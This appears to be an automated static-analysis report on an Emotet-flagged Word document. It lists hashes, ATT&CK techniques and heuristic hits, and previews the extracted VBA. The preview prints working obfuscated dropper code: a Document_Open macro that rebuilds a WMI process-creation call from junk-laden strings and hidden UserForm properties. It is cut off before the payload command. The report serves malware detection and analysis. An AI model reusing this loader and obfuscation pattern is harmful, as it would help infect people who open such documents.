Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d31a711c8f179d13…

MALICIOUS

Office (OLE)

229.9 KB Created: 2020-08-13 06:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3019dd25120265239fd270a3db141541 SHA-1: c20a1818f3140295c608ef067ec00ceff19e32b2 SHA-256: d31a711c8f179d134404f81eb2e5ae7a6b161ded22b8677330eb00a25c68171d
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute obfuscated code. This code likely functions as a command stager to download and execute a secondary payload. The ClamAV detection also explicitly identifies the file as 'Doc.Downloader.Emotet-9310858-1'.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9310858-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9310858-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4349 bytes
SHA-256: 8c46cf64ac7030dfcd8b5703ff3a800d46c548fca48fd574b776333f07714735
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BXIPYuqwngnum"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
BFCGYcgdbbdjuqgxzee.JWTEMcuymztcnwuwhi
End Sub


Attribute VB_Name = "BFCGYcgdbbdjuqgxzee"
Attribute VB_Base = "0{DCD15092-2704-4038-B642-68A7397C26E0}{C91A427C-EC3F-48C6-AB6C-5F8D23A84D69}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JWTEMcuymztcnwuwhi()
ZOHTUqebzdptyaxcr = BFCGYcgdbbdjuqgxzee.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
TEAVZgzoikdwwlcqmuu = ChrW(ZOHTUqebzdptyaxcr + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
VHHRKrjyvmrysdoxiwd = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + TEAVZgzoikdwwlcqmuu + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + BFCGYcgdbbdjuqgxzee.IRZAHtxwxxpxqy + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
QNALObpbmfuzkivvd = WOQLEfmsctdkc(VHHRKrjyvmrysdoxiwd)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set HDZTZzislydlksljin = CreateObject(QNALObpbmfuzkivvd)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
EWAYTghvwkhywgg = BFCGYcgdbbdjuqgxzee.GNYUUhujsqvhsa.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
HOFOOueyzmcxebjec = VUPGXvkvdzlmsk + (QNALObpbmfuzkivvd + TEAVZgzoikdwwlcqmuu + BFCGYcgdbbdjuqgxzee.BCAOZdtaxxlimg.ControlTipText + EWAYTghvwkhywgg)
Dim gs2ËgnTcKiQ As String
AFCKPmxbluwdbuefita = HOFOOueyzmcxebjec + BFCGYcgdbbdjuqgxzee.IRZAHtxwxxpxqy
Dim N0ÚPb8Ì As Double
Set YDLFYxcjibxtxk = GAENJdbksmdchvnj(AFCKPmxbluwdbuefita)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
MRAOWtyzupty = Array(QJBQKqjaodophhasjf + "NVINVjmoxuvrexofuxu BBCYNmyplxhk TKAIVggxclgsmks", HDZTZzislydlksljin. _
Create(MOYZVebzxlmzfwskn, CGUODymskzjlxcamk, YDLFYxcjibxtxk), KMNWYroezpwfbb + "WJQMWgvyixwxv ZLTIFzfffida")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function GAENJdbksmdchvnj(EWVLPrtsibakbglnex)
Set GAENJdbksmdchvnj = CreateObject(EWVLPrtsibakbglnex)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
GAENJdbksmdchvnj. _
showwindow = YWWEYhfatjaozoofzcu + DZEDXvczrdijvhxbl
Dim a4Õg As Object
End Function
Function WOQLEfmsctdkc(VIAHVwmdfpkteggo)
OIFQGmkiqokjy = VIAHVwmdfpkteggo
Dim nGcyUDpZ As Byte
BKSERjkubbbarg = Split _
(OIFQGmkiqokjy, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
ODYEKttqxomhkrlhc = XPQZGbstfkrzgfjhv + Join(BKSERjkubbbarg, STHCFfjpbqssrntgeec)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
WOQLEfmsctdkc = ODYEKttqxomhkrlhc
Dim kFPSyh As Object
End Function
Function MOYZVebzxlmzfwskn()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
DREWKjnaraeufqnka = BFCGYcgdbbdjuqgxzee.APEBNmtjkzrgzt.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String

... (truncated)

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